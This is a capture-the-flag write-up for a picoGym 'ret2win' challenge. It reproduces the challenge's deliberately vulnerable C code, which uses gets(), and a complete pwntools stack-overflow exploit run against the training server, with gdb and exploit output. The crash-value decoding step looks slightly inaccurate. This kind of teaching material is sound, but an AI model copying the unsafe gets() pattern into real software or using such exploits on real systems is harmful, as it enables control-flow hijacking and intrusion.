This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a win() function present in the binary but never normally called — the classic technique known as "ret2win".
- Platform: picoGym
- Category: Binary Exploitation (Pwn)
- Points: 300 pts
- Difficulty: Intermediate
- Technique: Ret2win, return address overwrite
Challenge description
The provided source code looks like this:
void win(){
printf("Congratulations!\n");
system("/bin/cat flag.txt");
}
void vuln(){
char buf[128];
printf("Please enter your string: \n");
gets(buf);
printf("Ok, now what's your name?\n");
char name[64];
gets(name);
printf("Hello %s\n", name);
}
int main(){
vuln();
return 0;
}
The win() function prints the flag, but it isn't called anywhere in main() or vuln(). The only way to reach it is to force the program to jump there directly.
Step 1 — Find the address of win()
Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with objdump:
$ objdump -d ./vuln | grep ':'
0000000000401216 :
Or directly from gdb:
gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216 win
gdb-peda$ p win
$1 = {} 0x401216
The address of win() is therefore 0x401216.
Step 2 — Find the offset to the return address
Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in gdb, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:
from pwn import cyclic
print(cyclic(200))
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...
gdb-peda$ run
Please enter your string:
> aaaabaaacaaadaaaeaaaf...
[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')
gdb-peda$ python from pwn import *; print(cyclic_find(0x6161616c61616b61))
136
The offset between the start of the buffer and the overwritten return address is therefore 136 bytes.
Step 3 — Build the payload
The final payload consists of 136 padding bytes, followed by the address of win() packed into 8 bytes (64-bit architecture, so p64() rather than p32()):
payload = b'A' * 136 + p64(0x401216)
Full exploit
from pwn import *
context.binary = elf = ELF('./vuln')
context.log_level = 'info'
# io = process('./vuln')
io = remote('mercury.picoctf.net', 54321)
offset = 136
win_addr = elf.symbols['win']
log.info(f"win() address: {hex(win_addr)}")
payload = b'A' * offset
payload += p64(win_addr)
io.recvuntil(b'string: \n')
io.sendline(payload)
io.recvline() # "Ok, now what's your name?"
io.sendline(b'ctfdojo') # answer anything for the 2nd gets()
print(io.recvall().decode())
Step 4 — Run the exploit
By sending this payload, the ret in vuln() no longer returns to main() but jumps straight to win(), which executes system("/bin/cat flag.txt"):
$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321
Note: this technique works directly because the binary is compiled without PIE — the address of win() is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target win() precisely.
🚩 picoCTF{ flag intentionally hidden }
The flag is deliberately hidden — follow the method, you've earned it. 💪
Key takeaways
Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.
- The return address stored on the stack is just data like any other — if it's reachable via an overflow, it's modifiable
- Cyclic patterns (
cyclic/cyclic_find) avoid computing offsets by hand and are essential as soon as the buffer gets complex - It's the gateway to more advanced techniques (ROP chains) when no ready-made "win" function exists in the target binary
Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.
Top comments (0)